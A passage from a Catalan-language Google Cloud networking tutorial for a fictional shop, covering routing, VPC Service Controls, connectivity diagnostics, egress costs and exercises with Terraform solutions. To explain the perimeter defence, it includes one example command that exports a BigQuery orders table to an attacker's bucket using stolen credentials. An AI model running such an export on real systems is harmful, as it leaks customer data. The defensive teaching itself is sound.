Sense aquesta línia, Sabadell no pot abastar Cloud SQL per IP privada encara que el túnel funcioni perfectament, perquè 10.10.240.0/20 no és una subxarxa de la VPC: és un rang cedit a Google. És de les fallades més desconcertants que existeixen, perquè tot sembla correcte.

També es pot anunciar només des d'una sessió BGP concreta, útil per a polítiques de sortida:

gcloud compute routers update-bgp-peer alpinashop-router-euw1 \
  --peer-name=bgp-sabadell-0 \
  --advertisement-mode=custom \
  --set-advertisement-ranges=10.10.0.0/24,10.10.1.0/24 \
  --region=europe-west1 --project=alpinashop-red

Els cinc errors clàssics d'encaminament

Error Símptoma Solució
Rangs encavalcats El trànsit «desapareix» o va al lloc equivocat Renumerar. No hi ha drecera
No anunciar el rang de serveis privats Túnel amunt, però no s'arriba a Cloud SQL --set-advertisement-ranges
routing_mode = REGIONAL amb recursos multiregió Una regió hi arriba i l'altra no Canviar a GLOBAL
Esperar transitivitat de l'aparellament La VPC aparellada no arriba a la VPN És impossible per disseny; fer servir NCC o VPC compartida
Tallafoc oblidat BGP amunt, ping sense resposta Regla d'entrada per al rang remot

  1. Network Connectivity Center: la topologia radial gestionada

Quan hi ha moltes xarxes i moltes seus, el problema N² de l'aparellament es torna insuportable. Network Connectivity Center (NCC) ho resol amb un model radial (hub and spoke):

  • Un eix (hub) central, que és un recurs lògic.
  • Radis (spokes): VPC, túnels VPN, adjunts d'Interconnect, o dispositius virtuals de tercers.
  • L'eix encamina entre radis, cosa que dona la transitivitat que l'aparellament no té.
flowchart TB
    HUB(("NCC hub"))
    S1["VPC producció"] --- HUB
    S2["VPC dades"] --- HUB
    S3["VPN Sabadell"] --- HUB
    S4["VPN oficina central"] --- HUB
    S5["Interconnect soci"] --- HUB
gcloud network-connectivity hubs create alpinashop-hub --project=alpinashop-red

gcloud network-connectivity spokes linked-vpc-network create radio-prod \
  --hub=alpinashop-hub --vpc-network=alpinashop-vpc \
  --global --project=alpinashop-red

El necessita AlpinaShop? No. Amb una VPC compartida i un enllaç a Sabadell, l'eix no aporta res i costa per radi i hora. S'explica perquè és la resposta correcta quan la xarxa creix —cinc o més xarxes i seus que s'han de parlar entre si— i perquè saber que existeix evita muntar quinze aparellaments a mà.

  1. Controls de servei de VPC: el perímetre contra l'exfiltració

Aquest apartat respon al risc del principi de la lliçó, i és probablement el més important que hi ha aquí.

El problema que IAM no resol. IAM controla qui pot fer què. No controla des d'on ni cap a on. Si sa-informes-nocturnos té permís per llegir alpinashop_analitica, i algú roba les seves credencials:

# Amb la credencial robada, des de qualsevol maquina d internet:
bq extract alpinashop-datos:alpinashop_analitica.pedidos \
   gs://bucket-del-atacante/exfiltrado-*.csv

IAM autoritza aquesta operació. El permís existeix, la petició és legítima des del punt de vista de l'autorització. I les dades surten.

Els controls de servei de VPC (VPC Service Controls) creen un perímetre al voltant de projectes i serveis. Dins del perímetre es pot treballar; les dades no creuen la frontera, ni tan sols amb credencials vàlides.

flowchart TB
    subgraph PER["Perímetre: alpinashop-datos"]
      BQ["BigQuery<br/>alpinashop_analitica"]
      GCS["Buckets<br/>alpinashop-datalake"]
    end
    OK["Dataflow des de<br/>10.10.1.0/24"] -->|"PERMÈS"| PER
    LU["Lucía des d IP<br/>corporativa + nivell d accés"] -->|"PERMÈS"| PER
    MAL["Credencial robada<br/>des d internet"] -.->|"BLOQUEJAT"| PER
    PER -.->|"BLOQUEJAT:<br/>còpia a bucket extern"| EXT["Projecte aliè"]

    style PER fill:#e6f4ea,stroke:#34a853
    style MAL fill:#fce8e6,stroke:#ea4335
    style EXT fill:#fce8e6,stroke:#ea4335

El perímetre d'AlpinaShop

# 1. Nivell d acces: des d on SI que es pot entrar
gcloud access-context-manager levels create acceso_corporativo \
  --title="Acceso corporativo AlpinaShop" \
  --basic-level-spec=nivel.yaml \
  --policy=POLICY_ID
# nivel.yaml
- ipSubnetworks:
    - 88.20.145.0/24        # oficina central
    - 192.168.10.0/24       # botiga de Sabadell, a traves del tunel
- members:
    - serviceAccount:[email protected]
# 2. El perimetre, PRIMER EN MODE DE PROVA
gcloud access-context-manager perimeters create perimetro_datos \
  --title="Perimetro de datos AlpinaShop" \
  --resources=projects/NUMERO_PROYECTO_DATOS \
  --restricted-services=bigquery.googleapis.com,storage.googleapis.com \
  --access-levels=acceso_corporativo \
  --perimeter-type=regular \
  --policy=POLICY_ID \
  --dry-run                          # <<< IMPRESCINDIBLE

Amb --dry-run, el perímetre registra el que bloquejaria sense bloquejar res. Es deixa una o dues setmanes i s'analitzen les violacions:

-- Violacions que es produirien, des dels registres d auditoria
SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS identitat,
  protopayload_auditlog.methodName AS metode,
  protopayload_auditlog.metadata.dryRun AS en_proves,
  protopayload_auditlog.metadata.violationReason AS motiu
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE DATE(timestamp) >= DATE_SUB(CURRENT_DATE(), INTERVAL 14 DAY)
ORDER BY timestamp DESC

Només quan el llistat és net o justificat s'aplica de debò (--enable-dry-run-config i promoció del perímetre).

L'advertiment que cal prendre's seriosament

VPC Service Controls és la funció de Google Cloud amb la qual més gent s'ha bloquejat a si mateixa.

El que trenca habitualment, i cal preveure-ho abans:

Es trenca Per què Solució
La consola web de BigQuery El navegador de la Lucía surt per una IP no inclosa Afegir el rang al nivell d'accés
Cloud Build accedint a un bucket del perímetre El projecte alpinashop-cicd és a fora Pont entre perímetres o incloure'l
Cloud Shell Surt per IP de Google, no per la teva Nivell d'accés específic o VM pròpia
Eines de tercers (Looker Studio, BI) Fora del perímetre Regla d'entrada específica
Exportacions legítimes a un altre projecte És exactament el que bloqueja Regla de sortida (egress policy) explícita

I hi ha dues regles d'or:

  1. Mai activis un perímetre un divendres. És un tòpic i és literalment cert.
  2. --dry-run no és opcional. És la diferència entre un control de seguretat i una caiguda d'un dia.

Avís. El disseny de perímetres, nivells d'accés i regles d'entrada i sortida té implicacions directes de seguretat i de compliment normatiu. El d'aquí és un model docent correcte, però abans de protegir dades personals o financeres en producció ho ha de revisar un professional de seguretat i de compliment normatiu.

  1. Diagnòstic de xarxa: Network Intelligence Center i una fallada real

Network Intelligence Center agrupa les eines que converteixen el diagnòstic de xarxa en una cosa determinista.

Eina Què fa
Proves de connectivitat Simula un paquet d'A a B i diu exactament què el permet o el bloqueja
Topologia de xarxa Mapa visual del trànsit real entre regions, zones i serveis
Tauler de rendiment Latència i pèrdua de paquets entre zones i regions
Analitzador de tallafoc Regles sense ús, regles ombrejades per altres, permissives de més
Flow Logs Registre de les connexions reals

Una fallada real, resolta amb eines

Els fets. Dilluns al matí. El procés de sincronització d'estoc porta tres hores fallant: Connection timed out en connectar a 192.168.10.20:3306. El divendres funcionava. Ningú no ha tocat res (diuen).

Pas 1 — Està amunt el túnel?

gcloud compute vpn-tunnels list --project=alpinashop-red \
  --format="table(name,status,detailedStatus)"
NAME                STATUS        DETAILED_STATUS
tunel-sabadell-0    ESTABLISHED   Tunnel is up and running
tunel-sabadell-1    ESTABLISHED   Tunnel is up and running

Els dos túnels amunt. No és la VPN. Aquí s'acaba el diagnòstic de molta gent, que conclou «és cosa de Sabadell» i truca per telèfon.

Pas 2 — Està amunt el BGP i quines rutes hi ha?

gcloud compute routers get-status alpinashop-router-euw1 \
  --region=europe-west1 --project=alpinashop-red \
  --format="yaml(result.bgpPeerStatus)"
- name: bgp-sabadell-0
  state: Established
  status: UP
  numLearnedRoutes: 0        # <<<<<< AQUI ESTA

Zero rutes apreses. El túnel està establert i la sessió BGP també, però Sabadell ha deixat d'anunciar 192.168.10.0/24. El paquet no sap per on sortir.

Pas 3 — Confirmar-ho amb una prova de connectivitat, que dona un veredicte inapel·lable:

gcloud network-management connectivity-tests create diag-erp \
  --source-project=alpinashop-prod \
  --source-ip-address=10.10.0.15 \
  --destination-ip-address=192.168.10.20 \
  --destination-port=3306 \
  --protocol=TCP \
  --project=alpinashop-red

gcloud network-management connectivity-tests describe diag-erp \
  --project=alpinashop-red --format="yaml(reachabilityDetails)"
reachabilityDetails:
  result: UNREACHABLE
  traces:
  - steps:
    - description: Initial state - instance
    - description: Config checking state - apply egress firewall rule
      state: APPLY_EGRESS_FIREWALL_RULE
    - description: Config checking state - route
      state: NO_ROUTE            # <<<<<< veredicte
      causeCode: NO_ROUTE_FROM_ROUTE_TABLE

NO_ROUTE. No és el tallafoc, no és el túnel: no hi ha ruta. La prova de connectivitat ha convertit tres hores de sospites en trenta segons de certesa.

Pas 4 — La causa arrel. Trucada a l'empresa que manté el router de Sabadell: el dissabte van actualitzar el microprogramari i la configuració BGP es va restaurar des d'una còpia anterior a la instal·lació de la VPN. La xarxa anunciada va desaparèixer de la configuració.

Pas 5 — Correcció i lliçons. El proveïdor restaura l'anunci; les rutes apareixen en menys d'un minut i el procés torna a funcionar. El que es canvia després:

  1. Alerta sobre numLearnedRoutes == 0 a Cloud Monitoring. Hauria avisat el dissabte a la nit.
  2. Alerta sobre l'estat dels túnels VPN (vpn/tunnel_established).
  3. La sincronització d'estoc deixa de fallar en silenci: si porta més de 30 minuts sense actualitzar, alerta. La detecció la va fer un humà tres hores tard, exactament el que 06-04 volia evitar.
  4. L'acord amb el proveïdor de la botiga incorpora avisar de canvis al router.

Flow Logs: quan cal veure el trànsit real

Els VPC Flow Logs, activats a l'apartat 4 amb mostreig del 50 %, permeten respondre preguntes que cap altra eina no respon:

-- Qui esta parlant amb l ERP a traves del tunel, i quant
SELECT
  jsonPayload.connection.src_ip   AS origen,
  jsonPayload.connection.dest_ip  AS desti,
  jsonPayload.connection.dest_port AS port,
  COUNT(*)                        AS connexions,
  SUM(CAST(jsonPayload.bytes_sent AS INT64)) AS bytes
FROM `alpinashop-red.red.compute_googleapis_com_vpc_flows_*`
WHERE _TABLE_SUFFIX BETWEEN FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
                        AND FORMAT_DATE('%Y%m%d', CURRENT_DATE())
  AND NET.IP_TO_STRING(NET.IP_FROM_STRING(jsonPayload.connection.dest_ip))
      LIKE '192.168.10.%'
GROUP BY origen, desti, port
ORDER BY bytes DESC

Serveixen per a tres coses concretes: investigar incidents de seguretat (qui va parlar amb aquella IP?), entendre el cost (quin trànsit creua zones o regions) i trobar trànsit que no hauria d'existir.

El seu inconvenient és el volum: són cars. Per això flow_sampling = 0.5, i per això convé un abocador a BigQuery amb caducitat en lloc de retenció llarga a Cloud Logging (06-06).

  1. Nivells de servei Premium i Estàndard

Google Cloud ofereix dos nivells de xarxa per al trànsit sortint cap a internet:

Premium (per defecte) Estàndard
Recorregut Per la xarxa troncal privada de Google fins al punt més proper a l'usuari Surt a internet públic des de la regió d'origen
Latència Menor i més estable Major i variable
IP Anycast global Regional
Balanceig global Sí No: només balancejadors regionals
SLA Sí Menor
Preu Major De l'ordre d'un 25-30 % menys

La diferència pràctica amb un exemple: un client de Berlín que visita AlpinaShop a europe-west1. Amb Premium, entra a la xarxa de Google a Berlín i la resta del camí va per fibra de Google. Amb Estàndard, tot el trajecte Berlín→Bèlgica va per internet públic, amb la latència i variabilitat que això implica.

Criteri:

Cas Nivell
Trànsit de clients finals Premium. La latència és conversió
Balancejador global, CDN, IP anycast Premium (és obligatori)
Còpies de seguretat nocturnes a un altre proveïdor Estàndard: ningú no espera
Entorns de desenvolupament Estàndard
Transferències massives sense urgència Estàndard

AlpinaShop fa servir Premium per a la botiga —no és negociable, el balancejador global ho exigeix— i podria fer servir Estàndard a alpinashop-dev, encara que l'estalvi seria de cèntims.

  1. El cost del trànsit: on s'amaga la factura

Aquest apartat és un avançament de 07-05, però pertany aquí perquè són decisions de xarxa.

La regla que resumeix el 90 % dels casos:

L'entrada és gratis. La sortida es paga. I com més lluny, més cara.

Trajecte Cost orientatiu Comentari
Entrada des d'internet Gratis Sempre
Dins d'una zona, per IP interna Gratis El cas ideal
Entre zones de la mateixa regió ~0,01 $/GB Sorprèn tothom
Entre regions dins de la UE ~0,02 $/GB
Entre continents 0,05-0,15 $/GB
Sortida a internet (Premium, primers TB) ~0,12 $/GB
Sortida a internet via Cloud CDN Menor Per això la CDN estalvia (03-03)
Sortida per túnel VPN Tarifa d'internet + cost del túnel

Els quatre amagatalls clàssics, amb el seu remei:

  1. Trànsit entre zones per alta disponibilitat. Cloud SQL en HA regional replica contínuament entre zones, i això es paga. És el preu de la disponibilitat i està bé pagar-lo — però cal saber que hi és abans de sorprendre's.
  2. Aplicació i base de dades en zones diferents sense motiu. Cada consulta creua zona i paga. Col·locar deliberadament el que es parla molt és gratis i estalvia.
  3. Registres i mètriques que creuen regions. Un abocador de registres d'europe-west1 cap a un bucket a us-central1 paga trànsit intercontinental per cada línia de registre. Els buckets de registres es posen a la mateixa regió.
  4. Còpies de seguretat i exportacions a un altre proveïdor. Treure 500 GB al mes cap a un altre núvol són desenes d'euros mensuals que ningú no va atribuir a ningú.

Les tres palanques d'estalvi que s'apliquen a la xarxa:

  • CDN (03-03): cada resposta servida des de memòria cau no surt de l'origen. És la palanca més gran per a un lloc amb imatges.
  • Col·locació: posar a la mateixa zona el que es crida constantment.
  • Comprimir: gzip o brotli al balancejador redueix els bytes facturats i a més millora l'experiència.

I el desglossament per servei es consulta amb l'exportació de facturació de 01-04:

SELECT
  service.description  AS servei,
  sku.description      AS concepte,
  ROUND(SUM(cost), 2)  AS cost_eur
FROM `alpinashop-datos.facturacion.gcp_billing_export_v1_XXXX`
WHERE DATE(usage_start_time) >= DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
  AND (LOWER(sku.description) LIKE '%egress%'
       OR LOWER(sku.description) LIKE '%network%'
       OR LOWER(sku.description) LIKE '%inter-zone%'
       OR LOWER(sku.description) LIKE '%inter-region%')
GROUP BY servei, concepte
HAVING cost_eur > 0.5
ORDER BY cost_eur DESC

Errors Habituals i Consells

  • No tenir pla d'adreçament. El dia que dos rangs s'encavalquin, l'única solució és renumerar amb aturada de servei. Deu minuts de full de càlcul eviten un cap de setmana horrible.
  • Fer servir 172.16.0.0/12 a la VPC. És el rang per defecte de Docker; els contenidors no podran abastar aquelles IP.
  • Crear la VPC amb auto_create_subnetworks = true. Crea una subxarxa a cada regió amb rangs que no vas triar i que probablement xocaran amb alguna cosa.
  • Posar la xarxa compartida al projecte de producció. Obliga a donar permisos de producció a qui només necessita una subxarxa de desenvolupament. Projecte amfitrió propi i buit.
  • Donar compute.networkUser sobre tota la xarxa. Es dona sobre la subxarxa concreta. És la meitat del valor de la VPC compartida.
  • Oblidar el permís de l'agent serverless-robot-prod en fer servir Cloud Run amb VPC directa en VPC compartida. Error críptic garantit.
  • routing_mode = REGIONAL en una xarxa que creixerà. Canviar-ho després reinicia les sessions BGP.
  • Esperar transitivitat de l'aparellament. A↔B i B↔C no donen A↔C. Mai.
  • Aparellar sense --export-custom-routes. L'aparellament s'estableix i tot i així no s'arriba a la VPN de l'altre costat.
  • No anunciar el rang d'accés a serveis privats. Túnel perfecte i Cloud SQL inabastable des de la seu.
  • Muntar la VPN amb un sol túnel. Qualsevol manteniment de l'altre costat és un tall. Dos túnels, sempre.
  • Activar VPC Service Controls sense --dry-run. És la manera més eficaç de bloquejar tot el teu equip, tu inclòs.
  • Oblidar que Cloud Shell surt per IP de Google. Amb un perímetre actiu, la teva pròpia consola deixa de funcionar i sembla una fallada de la plataforma.
  • Diagnosticar xarxes a base de ping i suposicions. Les proves de connectivitat donen un veredicte amb la regla concreta que bloqueja.
  • Ignorar el trànsit entre zones. No és gratis, i en arquitectures replicades és una part apreciable de la factura.
  • Consell: alerta sobre numLearnedRoutes i sobre l'estat dels túnels. Són dues mètriques que avisen d'una fallada híbrida abans que ho noti un procés de negoci.
  • Consell: desa la clau precompartida de la VPN a Secret Manager, no al .tf ni a l'historial del terminal.
  • Consell: activa els Flow Logs amb mostreig, no al 100 %. Al 50 % veus el que necessites per la meitat de cost.

Exercicis

Exercici 1 — Dissenyar l'adreçament d'una expansió

AlpinaShop creix i cal planificar la xarxa per al següent:

  • Segona regió europe-southwest1 (Madrid) per a alta disponibilitat, amb les mateixes tres subxarxes.
  • Dues botigues físiques noves: Girona i Saragossa, cadascuna amb la seva LAN i la seva VPN.
  • Un soci logístic que es connectarà per Private Service Connect per consultar l'estat dels enviaments.
  • Un entorn de proves de càrrega que es crea i es destrueix, aïllat de la resta.
  • Previsió d'un clúster de GKE amb fins a 200 pods.

Elabora la taula completa d'adreçament indicant rang, ús, regió i justificació de la mida. Assenyala quines decisions prens per no quedar-te sense espai en cinc anys i quins rangs prohibeixes explícitament.

Exercici 2 — Implementar la VPC compartida amb permisos correctes

Escriu el Terraform que:

  1. Converteix alpinashop-red en projecte amfitrió i vincula alpinashop-prod, alpinashop-dev i alpinashop-datos.
  2. Crea les subxarxes sn-web-euw1, sn-datos-euw1 i sn-dev-euw1 amb Private Google Access i Flow Logs al 50 %.
  3. Concedeix permisos de manera que: gcp-desarrollo@ només pugui fer servir sn-dev-euw1; gcp-datos@ només sn-datos-euw1; el compte de servei de Cloud Run pugui fer servir sn-web-euw1; i ningú tret de gcp-infra@ pugui modificar regles de tallafoc.
  4. Defineix qui té compute.xpnAdmin i en quin nivell de la jerarquia.

Explica a més què passaria si el Dani intentés crear una VM a sn-datos-euw1 i quin error veuria exactament.

Exercici 3 — Diagnosticar tres fallades de connectivitat

Per a cadascun d'aquests tres casos, indica el diagnòstic més probable, com el confirmaries amb eines concretes, i com el corregiries.

(a) El servei alpinashop-web a Cloud Run, amb VPC directa configurada, no aconsegueix connectar a 192.168.10.20:3306 (l'ERP). Des d'una VM de sn-web-euw1 sí que funciona. Els túnels estan ESTABLISHED i el BGP aprèn 192.168.10.0/24.

(b) La Lucía no pot obrir la consola de BigQuery des del seu portàtil a casa. Des de l'oficina sí. L'error diu VPC Service Controls: Request is prohibited by organization's policy. Fa dues setmanes que el perímetre està actiu i fins ara ningú no s'havia queixat.

(c) Una VM del projecte alpinashop-datos (VPC pròpia, aparellada amb alpinashop-vpc) necessita arribar a l'ERP de Sabadell. L'aparellament està ACTIVE, la VM arriba sense problemes a les VM de sn-web-euw1, però a 192.168.10.20 no.

Solucions

Solució 1 — Dissenyar l'adreçament d'una expansió

Principi rector: reservar blocs /16 complets per àmbit encara que se'n faci servir una fracció mínima. L'espai privat té 16,7 milions d'adreces a 10.0.0.0/8: estalviar rangs és una falsa economia i la causa número u de renumeracions.

Bloc Rang Ús Regió / seu Justificació de la mida
Google Cloud, regió 1 10.10.0.0/16 Existent europe-west1 65k IP, en sobra
10.10.0.0/24 sn-web-euw1 Càrregues web
10.10.1.0/24 sn-datos-euw1 Bases de dades
10.10.2.0/24 sn-dev-euw1 Desenvolupament
10.10.8.0/22 Pods de GKE (secundari) 200 pods necessiten ~1.024 IP amb marge de reprogramació
10.10.12.0/24 Serveis de GKE (secundari) 256 serveis de sobres
10.10.16.0/24 Subxarxa de només proxy Balancejadors interns
10.10.20.0/24 Cloud Run VPC directa Consumeix IP per instància; /24 és folgat
10.10.240.0/20 Accés a serveis privats Ho exigeix Google; no reduir
Google Cloud, regió 2 10.20.0.0/16 Mirall exacte europe-southwest1 Mateix esquema amb el segon octet canviat
10.20.0.0/24 sn-web-esw1
10.20.1.0/24 sn-datos-esw1
10.20.2.0/24 sn-dev-esw1
10.20.240.0/20 Serveis privats regió 2
Regions futures 10.30.0.0/16 … 10.90.0.0/16 Reservat — Un /16 per regió, sense assignar
Proves de càrrega 10.100.0.0/16 Efímer, VPC aïllada europe-west1 Deliberadament fora del bloc de producció
Botigues físiques 192.168.0.0/16 Bloc de seus — Es manté l'esquema existent
192.168.10.0/24 Sabadell Existent
192.168.11.0/24 Girona Nova
192.168.12.0/24 Saragossa Nova
192.168.13.0/24 … 192.168.49.0/24 Reservat: 37 botigues més
192.168.20.0/24 Oficina central Existent
Extrems PSC 10.10.250.0/24 Extrems de consum europe-west1 Fora de les subxarxes normals, fàcil d'identificar
10.20.250.0/24 Ídem regió 2
PROHIBIT 172.16.0.0/12 Docker — Xoca amb xarxes pont de contenidors
PROHIBIT 169.254.0.0/16 Enllaç local — El fan servir BGP i les metadades de GCP
PROHIBIT 10.0.0.0/16, 10.1.0.0/16 Reservat a fusions — Rangs «obvis» que sol fer servir el que compres

Les cinc decisions que eviten la renumeració a cinc anys:

  1. Un /16 per regió, amb el segon octet com a identificador de regió. 10.X0.0.0/16. Mirar una IP i saber la regió sense consultar res té un valor operatiu enorme durant un incident.
  2. Esquema de subxarxes idèntic entre regions, canviant només el segon octet. Les regles de tallafoc, els scripts i els diagrames es repliquen amb una substitució.
  3. Les botigues van totes a 192.168.0.0/16 amb /24 correlatius. L'anunci BGP es pot agregar i una regla de tallafoc cobreix totes les botigues presents i futures.
  4. Les proves de càrrega a 10.100.0.0/16, fora del bloc de producció i en VPC pròpia sense aparellar. Si un test descontrolat inunda alguna cosa, no pot abastar producció. I com que és efímer, el seu rang es pot reutilitzar sense risc.
  5. Reservar 10.0.0.0/16 i 10.1.0.0/16 sense fer-los servir. Són els rangs que tria per defecte qui no planifica. El dia que AlpinaShop compri una altra empresa, és gairebé segur que la comprada fa servir un d'aquests dos — i tenir-los lliures evita renumerar la xarxa aliena.

Sobre el soci logístic: no consumeix adreçament propi. Amb PSC crea un extrem a la seva VPC amb el seu rang, apuntant al service attachment d'AlpinaShop. Cap de les dues parts no veu la xarxa de l'altra, no hi ha risc d'encavalcament i no hi ha rutes per gestionar. És exactament el cas d'ús de PSC davant de l'aparellament, i per això s'ha convertit en l'estàndard per connectar amb socis.

Solució 2 — Implementar la VPC compartida amb permisos correctes

# ------------------------------------------------------------------
# 1. Projecte amfitrio i vinculacio de projectes de servei
# ------------------------------------------------------------------

resource "google_compute_shared_vpc_host_project" "host" {
  project = "alpinashop-red"
}

resource "google_compute_shared_vpc_service_project" "servicios" {
  for_each = toset(["alpinashop-prod", "alpinashop-dev", "alpinashop-datos"])

  host_project    = google_compute_shared_vpc_host_project.host.project
  service_project = each.value
}

# ------------------------------------------------------------------
# 2. Xarxa i subxarxes
# ------------------------------------------------------------------

resource "google_compute_network" "alpinashop" {
  project                 = "alpinashop-red"
  name                    = "alpinashop-vpc"
  auto_create_subnetworks = false
  routing_mode            = "GLOBAL"
}

locals {
  subredes = {
    "sn-web-euw1"   = "10.10.0.0/24"
    "sn-datos-euw1" = "10.10.1.0/24"
    "sn-dev-euw1"   = "10.10.2.0/24"
  }
}

resource "google_compute_subnetwork" "subredes" {
  for_each = local.subredes

  project                  = "alpinashop-red"
  name                     = each.key
  ip_cidr_range            = each.value
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true

  log_config {
    aggregation_interval = "INTERVAL_10_MIN"
    flow_sampling        = 0.5
    metadata             = "INCLUDE_ALL_METADATA"
  }
}

# ------------------------------------------------------------------
# 3. Permisos granulars PER SUBXARXA
# ------------------------------------------------------------------

resource "google_compute_subnetwork_iam_member" "dev" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.subredes["sn-dev-euw1"].name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

resource "google_compute_subnetwork_iam_member" "datos" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.subredes["sn-datos-euw1"].name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

# Cloud Run amb VPC directa: el permis el necessita l AGENT DE SERVEI,
# no el compte de servei del servei. Es l error que ningu no endevina.
resource "google_compute_subnetwork_iam_member" "run" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.subredes["sn-web-euw1"].name
  role       = "roles/compute.networkUser"
  member     = "serviceAccount:service-${data.google_project.prod.number}@serverless-robot-prod.iam.gserviceaccount.com"
}

data "google_project" "prod" {
  project_id = "alpinashop-prod"
}

# ------------------------------------------------------------------
# 4. Tallafoc: NOMES gcp-infra@ el pot tocar
# ------------------------------------------------------------------

resource "google_project_iam_member" "seguridad_red" {
  project = "alpinashop-red"
  role    = "roles/compute.securityAdmin"     # gestiona regles de tallafoc
  member  = "group:[email protected]"
}

resource "google_project_iam_member" "admin_red" {
  project = "alpinashop-red"
  role    = "roles/compute.networkAdmin"      # subxarxes, routers, VPN, NAT
  member  = "group:[email protected]"
}

# Els altres equips nomes LLEGEIXEN la xarxa, per poder depurar
resource "google_project_iam_member" "lectores_red" {
  for_each = toset([
    "group:[email protected]",
    "group:[email protected]",
  ])
  project = "alpinashop-red"
  role    = "roles/compute.networkViewer"
  member  = each.value
}

# ------------------------------------------------------------------
# 5. xpnAdmin: a nivell de CARPETA, no de projecte
# ------------------------------------------------------------------

resource "google_folder_iam_member" "xpn_admin" {
  folder = var.folder_compartido_id
  role   = "roles/compute.xpnAdmin"
  member = "group:[email protected]"
}

Sobre compute.xpnAdmin. Es concedeix a gcp-infra@ a nivell de la carpeta compartido, no de projecte, perquè és on viu l'amfitrió i des d'on es vinculen els projectes. Concedir-lo a nivell d'organització donaria poder per convertir en amfitrió qualsevol projecte de l'empresa, que és més del que cal. Aplicant el mínim privilegi de 03-04: el nivell més baix de la jerarquia en què el permís funciona.

A AlpinaShop, gcp-infra@ és la Marta, i aquest és exactament el tipus de permís que a 07-04 es convertirà en candidat a elevació temporal en lloc de permanent.

Què passaria si el Dani intentés crear una VM a sn-datos-euw1:

$ gcloud compute instances create prueba-dani \
    --project=alpinashop-dev --zone=europe-west1-b \
    --subnet=projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1

ERROR: (gcloud.compute.instances.create) Could not fetch resource:
 - Required 'compute.subnetworks.use' permission for
   'projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1'

El permís que falta és compute.subnetworks.use, que forma part de roles/compute.networkUser. El missatge anomena la subxarxa concreta, cosa que fa el diagnòstic immediat.

I hi ha un matís revelador: si el Dani executa gcloud compute networks subnets list --project=alpinashop-red, veurà sn-dev-euw1 i també sn-datos-euw1, perquè té networkViewer. Pot veure que existeix, però no fer-la servir. Aquesta distinció entre veure i usar és deliberada: sense visibilitat no es pot diagnosticar res, i amb networkViewer no es pot fer mal.

Solució 3 — Diagnosticar tres fallades de connectivitat

(a) Cloud Run no arriba a l'ERP, però una VM de la mateixa subxarxa sí.

Diagnòstic. Que una VM de sn-web-euw1 sí que hi arribi demostra que la ruta, el BGP i el tallafoc estan bé. El que canvia entre la VM i Cloud Run és com surt el trànsit. La causa gairebé segura és --vpc-egress: si està en private-ranges-only, el trànsit a rangs RFC 1918 hauria d'anar per la VPC… i 192.168.10.0/24 és RFC 1918, així que això encaixa. Queden dues hipòtesis:

  1. El servei no té VPC directa realment aplicada (es va configurar al servei però la revisió en trànsit és anterior al canvi). És la causa més freqüent: la configuració de xarxa s'aplica per revisió, i si es va canviar amb --no-traffic, el 100 % del trànsit continua a la revisió antiga sense xarxa.
  2. La subxarxa assignada a la VPC directa no és sn-web-euw1 sinó una altra sense les rutes correctes.

Confirmació.

# Quina revisio esta rebent transit i quina xarxa te
gcloud run services describe alpinashop-web --region=europe-west1 \
  --format="yaml(spec.traffic, spec.template.metadata.annotations)"

# Prova de connectivitat prenent Cloud Run com a origen
gcloud network-management connectivity-tests create diag-run-erp \
  --source-cloud-run-revision=alpinashop-web-00042-abc \
  --destination-ip-address=192.168.10.20 \
  --destination-port=3306 --protocol=TCP \
  --project=alpinashop-red

Correcció. Redesplegar aplicant xarxa i donant trànsit a aquella revisió:

gcloud run services update alpinashop-web --region=europe-west1 \
  --network=alpinashop-vpc --subnet=sn-web-euw1 \
  --vpc-egress=private-ranges-only
gcloud run services update-traffic alpinashop-web --region=europe-west1 --to-latest

I comprovar que l'agent serverless-robot-prod té networkUser sobre sn-web-euw1; sense ell, el desplegament hauria fallat amb un error de permisos poc explícit.

(b) La Lucía no pot entrar a BigQuery des de casa.

Diagnòstic. El missatge ho diu literalment: el perímetre de VPC Service Controls està bloquejant la petició. El nivell d'accés acceso_corporativo inclou 88.20.145.0/24 (l'oficina) i 192.168.10.0/24 (Sabadell), però no la IP domèstica de la Lucía. Des de l'oficina funciona perquè surt pel rang permès.

Que «fins ara ningú no s'havia queixat» no significa que sigui nou: significa que ningú no havia treballat des de fora des que es va activar el perímetre. És el patró típic — el perímetre s'activa, funciona, i dues setmanes després algú teletreballa i apareix el problema.

Confirmació.

SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS qui,
  protopayload_auditlog.requestMetadata.callerIp          AS ip_origen,
  protopayload_auditlog.metadata.violationReason          AS motiu
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE protopayload_auditlog.authenticationInfo.principalEmail = '[email protected]'
  AND DATE(timestamp) = CURRENT_DATE()
ORDER BY timestamp DESC LIMIT 20

El camp callerIp mostra la IP domèstica i violationReason dirà NO_MATCHING_ACCESS_LEVEL.

Correcció. Hi ha tres opcions, i la pitjor és la més temptadora:

Opció Valoració
Afegir la IP de casa de la Lucía al nivell d'accés Dolenta. Les IP domèstiques són dinàmiques i això es repetirà amb cada persona i cada canvi d'IP. Converteix el nivell d'accés en una llista immanejable
Que la Lucía es connecti per VPN corporativa i surti per la IP d'oficina Acceptable, però exigeix muntar i mantenir una VPN d'usuari
Nivell d'accés basat en dispositiu, amb BeyondCorp Enterprise / Endpoint Verification: es permet l'accés des d'un equip gestionat, xifrat i amb pantalla bloquejada, independentment de la IP La correcta, i és la implementació pràctica de la confiança zero que es desenvolupa a 07-04

La tercera és més feina inicial i és l'única que escala: el control deixa de ser «des d'on et connectes» i passa a ser «quin dispositiu ets i qui ets», que és el que realment importa. Mentre s'implanta, l'opció 2 és un pont raonable.

(c) La VM d'alpinashop-datos arriba a sn-web-euw1 però no a Sabadell.

